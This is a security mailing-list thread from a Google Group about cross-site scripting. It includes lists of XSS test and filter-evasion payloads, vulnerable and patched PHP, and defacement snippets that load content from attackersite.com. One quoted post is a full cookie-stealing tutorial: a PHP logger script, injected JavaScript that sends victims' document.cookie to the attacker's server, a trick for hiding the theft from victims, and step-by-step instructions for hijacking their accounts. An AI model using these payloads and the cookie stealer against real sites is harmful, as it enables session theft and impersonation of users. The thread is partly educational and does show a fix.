Hi,
There are many ways to check if the Site or Web Application is
Vulnerable to XSS. Few of them are stated below
<script>alert("XSS")</script>
/<script>alert('XSS')</script>/
/\<script\>alert(\'XSS\')\<\/script\>
http://mysite.org/folder/\<sCRIPT>alert("d")</sCRIPT>\.pl
http://mysite.org/folder/\<sCRIPT>alert('d')</sCRIPT>\.pl
/\<sCRIPT>alert("d")</sCRIPT>\
\<sCRIPT>alert('d')</sCRIPT>\
/<\73CRIP\T>alert("dsf")<\/\73CRIP\T>
/<\73CRIP\T>alert('dsf')<\/\73CRIP\T>
/</sCRIP/T>alert("dsf")<///sCRIP/T>
/</sCRIP/T>alert('dsf')<///sCRIP/T>
THe same above request can be sent using POST, which represents
after ? after mysite.org:
http://mysite.org/?<script>alert("XSS")</script>
http://mysite.org/?<script>alert('XSS')</script>
http://mysite.org/?\<script\>alert(\'XSS\')\<\/script\>
http://mysite.org/perl/?\<sCRIPT>alert("d")</sCRIPT>\.pl
http://mysite.org/perl/?\<sCRIPT>alert('d')</sCRIPT>\.pl
http://mysite.org/?\<sCRIPT>alert("d")</sCRIPT>\
http://mysite.org\?<sCRIPT>alert('d')</sCRIPT>\
http://mysite.org/?<\73CRIP\T>alert("dsf")<\/\73CRIP\T>
http://mysite.org/?<\73CRIP\T>alert('dsf')<\/\73CRIP\T>
http://mysite.org/?</sCRIP/T>alert("dsf")<///sCRIP/T>
http://mysite.org/?</sCRIP/T>alert('dsf')<///sCRIP/T>
*** Also,The above tricks case be used to Test few Security Softwares
like WAF (Web Application Firewall) / IPS (Intrusion Prevention
System) or IDS.
Regards,
0xN41K
On May 18, 9:17 pm, N41K <[email protected]> wrote:
> So, Securing such application is very important. In order to do so, we
> need to take care of special functions which will not allow the Remote
> Attackers to Execute the Scripts and take advantage of it.
>
> Lets see actually how an vulnerable code for XSS look like, then after
> that we'll secure the application by understanding the right line.
>
> So, Vulnerable PHP code would be something like this...
>
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html;
> charset=iso-8859-1" />
> <title>Search result:</title>
> <style type="text/css">
> <!--
> body,td,th {
> color: #FFFFFF;}
>
> body {
> background-color: #000000;}
>
> -->
> </style></head>
> <body>
> <span class="alert">Search result :</span> <strong><?php echo
> $_POST['Vulnerability']; ?></strong>
> </body>
> </html>
>
> Now the Secure Code for Vulnerable XSS will be:
>
> <html>
> <head>
> <meta http-equiv="Content-Type" content="text/html;
> charset=iso-8859-1" />
> <title>Search result:</title>
> <style type="text/css">
> <!--
> body,td,th {
> color: #FFFFFF;}
>
> body {
> background-color: #000000;}
>
> -->
> </style></head>
> <body>
> <span class="alert">Search result :</span> <strong><?php
> if(isset($_POST['Vulnerability'])) { echo
> htmlentities($_POST['Vulnerability']); } ?></strong>
> </body>
> </html>
>
> The only difference is the replacement of function; we tried to make
> it secure by using htmlspecialchars();
>
> Regards,
> 0xN41K
>
> On May 17, 9:10 am, kishore kumar <[email protected]> wrote:
>
> > *Stealing Cookies With XSS* :
>
> > Using XSS to Steal Cookies
>
> > once u find out that a particular page is vulnerable to XSS injection, Now
> > what? You want to make it do something useful, like steal cookies. Cookie
> > stealing is when you insert a script into the page so that everyone that
> > views the modified page inadvertently sends you their session cookie. By
> > modifying your session cookie, you can impersonate any user who viewed the
> > modified page. So how do you use XSS to steal cookies?
>
> > The easiest way is to use a three-step process consisting of the injected
> > script, the cookie recorder, and the log file.
>
> > First you'll need to get an account on a server and create two files,
> > log.txt and cookiesteal.php. You can leave log.txt empty. This is the file
> > your cookie stealer will write to. Now paste this php code into your cookie
> > stealer script (cookiesteal.php):
>
> > Code:
>
> > <?php
>
> > function GetIP()
> > {
> > if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),
> > "unknown"))
> > $ip = getenv("HTTP_CLIENT_IP");
> > else if (getenv("HTTP_X_FORWARDED_FOR") &&
> > strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
> > $ip = getenv("HTTP_X_FORWARDED_FOR");
> > else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),
> > "unknown"))
> > $ip = getenv("REMOTE_ADDR");
> > else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] &&
> > strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
> > $ip = $_SERVER['REMOTE_ADDR'];
> > else
> > $ip = "unknown";
> > return($ip);
>
> > }
>
> > function logData()
> > {
> > $ipLog="log.txt";
> > $cookie = $_SERVER['QUERY_STRING'];
> > $register_globals = (bool) ini_get('register_gobals');
> > if ($register_globals) $ip = getenv('REMOTE_ADDR');
> > else $ip = GetIP();
>
> > $rem_port = $_SERVER['REMOTE_PORT'];
> > $user_agent = $_SERVER['HTTP_USER_AGENT'];
> > $rqst_method = $_SERVER['METHOD'];
> > $rem_host = $_SERVER['REMOTE_HOST'];
> > $referer = $_SERVER['HTTP_REFERER'];
> > $date=date ("l dS of F Y h:i:s A");
> > $log=fopen("$ipLog", "a+");
>
> > if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
> > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent:
> > $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date |
> > COOKIE: $cookie <br>");
> > else
> > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent:
> > $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE:
> > $cookie \n\n");
> > fclose($log);
>
> > }
>
> > logData();
>
> > ?>
>
> > This script will record the cookies of every user that views it.
>
> > Now we need to get the vulnerable page to access this script. We can do that
> > by modifying our earlier injection:
>
> > Code:
>
> > "><script language=
> > "JavaScript">document.location="http://yoursite.com/cookiesteal.php?cookie=";
> > +
> > document.cookie;document.location="http://www.whateversite.com";</script>
>
> > yoursite.com is the server you're hosting your cookie stealer and log file
> > on, and whateversite.com is the vulnerable page you're exploiting. The above
> > code redirects the viewer to your script, which records their cookie to your
> > log file. It then redirects the viewer back to the unmodified search page so
> > they don't know anything happened. Note that this injection will only work
> > properly if you aren't actually modifying the page source on the server's
> > end. Otherwise the unmodified page will actually be the modified page and
> > you'll end up in an endless loop. While this is a working solution, we could
> > eliminate this potential issue when using source-modifying injections by
> > having the user click a link that redirects them to our stealer:
>
> > Code:
>
> > "><a href="#"
> > onclick="document.location='http://yoursite.com/cookiesteal.php?cookie='
> > +escape(document.cookie);"><Click Me></a></script>
>
> > This will eliminate the looping problem since the user has to cilck on it
> > for it to work, and it's only a one-way link. Of course, then the user's
> > trail ends at your cookie stealing script, so you'd need to modify that code
> > a little to keep them from suspecting what's going on. You Could just add
> > some text to the page saying something like "under construction" by changing
> > the end of our php script from this:
>
> > Code:
>
> > logData();
> > ?>
>
> > to this:
> > Code:
>
> > logData();
>
> > echo '<b>Page Under Construction</b>'
> > ?>
>
> > Now when you open log.txt, you should see something like this:
>
> > Code:
>
> > IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux
> > i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid)
> > Firefox/3.0.8 | METHOD: | REF: IFA :: Institute of Financial Advisers ::
> > Find An
> > Adviser<http://www.mastiya.com/redirector.php?url=http%3A%2F%2Fwww.mastiya.co...>|
>
> > DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE:
> > cookie=PHPSESSID=889c6594db2541db1666cefca7537373
>
> > You will most likely see many other fields besides PHPSESSID, but this one
> > is good enough for this example. Now if the applications session management
> > is not proper using the cookie value one can access the Victims account just
> > by replacing the cookie value (using a proxy like burp or paros).The server
> > thinks you're the user you stole the cookie from. This way you can log into
> > accounts and many other things without even needing to know the passwords or
> > usernames.
>
> > Summary
>
> > So in summary:
> > 1. Test the page to make sure it's vulnerable to XSS injections.
> > 2. Once you know it's vulnerable, upload the cookie stealer php file and log
> > file to your server.
> > 3. Insert the injection into the page via the url or text box.
> > 4. Grab the link of that page with your exploited search query (if injection
> > is not stored on the server's copy of the page).
> > 5. Get someone to use that link if necessary.
> > 6. Check your log file for their cookie.
> > 7. Replace your own cookie with the captured one and access the Victims
> > account.
> > *** Please do add points for this topic.
>
> > On 16 May 2010 10:10, N41K <[email protected]> wrote:
>
> > > Hi,
>
> > > Further level of XSS........
>
> > > Q. What can be done with XSS?
> > > Q. How severe can XSS effect?
>
> > > The below inputs gives us a clarity what actually XSS is worth of!!!!!
>
> > > Checkout the Principle methods of Defacing using XSS:
>
> > > Defacement using Image:
> > > <IMG SRC="http://attackersite.com/malicious.png";>
>
> > > Defacement using a Flash Video:
> > > <EMBED SRC="http://attackersite.com/malicious.swf";
>
> > > Defacement using Redirection to attackers Page:
> > > <script>window.open( "http://www.attackersite.com/malicious.html"; )</
> > > script>
>
> > > Also:
> > > <meta http-equiv="refresh" content="0; url=http://attackersite.com/
> > > malicious.html" />
>
> > > Now, after going thru the above inputs we can understand how severe
> > > its effect can be.
> > > As an conclusion, XSS can compromise your system and also turnup to be
> > > a zombie.
>
> > > ***Please quote your inputs to have more elaborated and different ways
> > > to hit XSS.
>
> > > Regards,
> > > 0xN41K
>
> > > On May 12, 7:38 am, N41K <[email protected]> wrote:
> > > > Hi,
>
> > > > From today onwards we are going to have Chapters for Application
> > > > Security. Hope every one will put there expertise and make this
> > > > Chapter a fully informative.
>
> > > > Lets, GoAhead with XSS (Cross Site Scripting)
>
> > > > Cross Site Scripting is a browser exploit taking advantage of a
> > > > vulnerability within a zone-based security solution.
> > > > The attack allows content (scripts) in unprivileged zones to be
> > > > executed with the permissions of a privileged zone - i.e.
> > > > a privilege escalation within the client (web browser) executing the
> > > > script.
>
> > > > The attack can occur on:
>
> > > > * a web browser (HTTP Client) vulnerability which under some
> > > > conditions allows content (scripts)
> > > > to be executed with the permissions of a higher privileged
> > > > zone(Administrator).
>
> > > > * a web browser configuration error; unsafe sites listed in
> > > > privileged zones.
>
> > > > * a cross-site scripting vulnerability(from Web Application)
> > > > within a privileged zone
>
> > > > The common attack scenario involves two steps:
> > > > i. To use XSS vulnerability and execute scripts within a
> > > > privileged Zone. The Script may be any JS(JavaScript)
>
> ...
>
> read more »
--
You received this message because you are subscribed to the Google Groups
"nforceit" group.
To post to this group, send an email to [email protected].
To unsubscribe from this group, send email to
[email protected].
For more options, visit this group at
http://groups.google.com/group/nforceit?hl=en-GB.
![http://attackersite.com/malicious.png"](http://attackersite.com/malicious.png"){kind=link}